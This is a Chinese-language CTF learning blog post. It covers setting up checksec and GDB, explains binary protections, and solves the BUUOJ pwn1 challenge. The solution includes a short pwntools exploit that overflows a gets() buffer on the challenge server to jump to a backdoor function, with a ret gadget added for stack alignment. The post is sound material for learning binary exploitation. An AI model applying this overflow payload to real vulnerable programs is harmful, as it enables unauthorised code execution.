Day00

博客

  • 主要用于记录学习pwn的过程,主要在BUUOJ上pwn模块刷题
  • 写博客时借鉴了其他文献,如有侵权,联系后删除

环境

windows10,IDA_Pro_v7.5_Portable,虚拟机Ubuntu(安装有GDB)

练习平台

BUUOJ

安装

checksec安装

Checksec 是一个 bash 脚本,用于检查可执行文件(如 PIE、RELRO、PaX、Canaries、ASLR、Fortify Source)的属性。它最初由 Tobias Klein 编写

git clone https://github.com/slimm609/checksec.sh.git
cd checksec.sh
sudo ln –sf checksec /usr/bin/checksec

使用流程
checksec filename

Arch:     amd64-64-little  
RELRO:    Partial RELRO  
Stack:    No canary found  
NX:       NX enabled  
PIE:      PIE enabled

Arch:

程序架构信息

  • x86是指intel的开发的一种32位指令集,intel官方文档里面称为“IA-32”
  • x86、x86_64主要的区别就是32位和64位的问题,x86中只有8个32位通用寄存器,eax,ebx,ecx,edx, ebp, esp, esi, edi。
    x86_64把这8个通用寄存器扩展成了64位,并且比x86增加了若干个寄存器。

RELRO:

Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。

Stack:

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行

NX:

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限

PIE:

PIE(Position-Independent Executable, 位置无关可执行文件)技术与 ASLR 技术类似,ASLR 将程序运行时的堆栈以及共享库的加载地址随机化, 而 PIE 技术则在编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定

GDB安装

 apt-get update  

 apt-get install gdb

题目

pwn1

预先:

首先使用checksec

将pwn1托入IDA中

找到main函数,快捷键F5,得到伪代码,进行分析

分析:

分析可得,定义了一个char数组,大小为15

puts
包含在头文件# include <stdio.h>中  
函数原型: 
int puts(const char *s);  
puts:使用 puts() 显示字符串时,系统会自动在其后添加一个换行符
gets
头文件:#include <stdio.h>
gets()函数用于从缓冲区中读取字符串,其原型如下:
    char *gets(char *string);

gets()函数从流中读取字符串,直到出现换行符或读到文件尾为止,最后加上NULL作为字符串结束。所读取的字符串暂存在给定的参数string中。

【返回值】若成功则返回string的指针,否则返回NULL。

找到后门函数:

找到地址所在:
0x0401186

编写EXP:

需要15+8才能填充到返回地址,0x0401186为后门函数的地址,因为ubuntu18搭的环境,需要堆栈平衡
所以:

context(os='linux',arch='amd64',log_level='debug')
p=remote('node4.buuoj.cn',25684)
bin_sh_addr=0x401186
payload="a"*23+p64(0x401198)+p64(bin_sh_addr)
p.sendline(payload)
p.interactive()

这里为什么要加0x401198(即ret),主要考虑到堆栈平衡

补充:

栈结构

栈是由高地址向低地址增长的数据结构,其中需要使用esp,ebp,eip等寄存器

esp:栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,当然esp也就越来越小
ebp:基址指针"(BASE POINTER), 它最经常被用作高级语言函数调用的"框架指针"(frame pointer),一般存放当前的栈底
eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行

在函数(子程序)内部,可以使用 [EBP+立即数] 的形式来取得主程序传递的参数,使用 [EBP-立即数] 的形式来访问局部变量。操作堆栈常用指令为push和pop,push对ESP/RSP/SP寄存器中值进行减法运算,令操作数写入上述寄存器中指针指向的内存中,而pop指令相反,将ESP/RSP/SP寄存器中指针指向的内存中读取书籍写入其他内存地址或寄存器.程序通常使用call指令调用某个子程序,同时下一条指令被作为返回地址保存到栈中,被调用函数结束后,使用ret指令跳转到返回地址(一般这时eip指向返回地址)。
那么如何进行这个过程的?

过程 esp,ebp,eip变化
call子程序 父程序中下一个指令地址被压入栈中,esp指向它,eip中放入被调用函数的地址,然后压入ebp
返回父程序 通过leave指令将esp恢复到当前的ebp,pop ebp,ret弹出返回地址到eip中,程序回到main函数,最后抬高esp清理被调用者的参数

堆栈平衡

http://blog.eonew.cn/archives/958

参考

posted @ 2021-07-17 16:50  超级想睡觉  阅读(172)  评论(0)    收藏  举报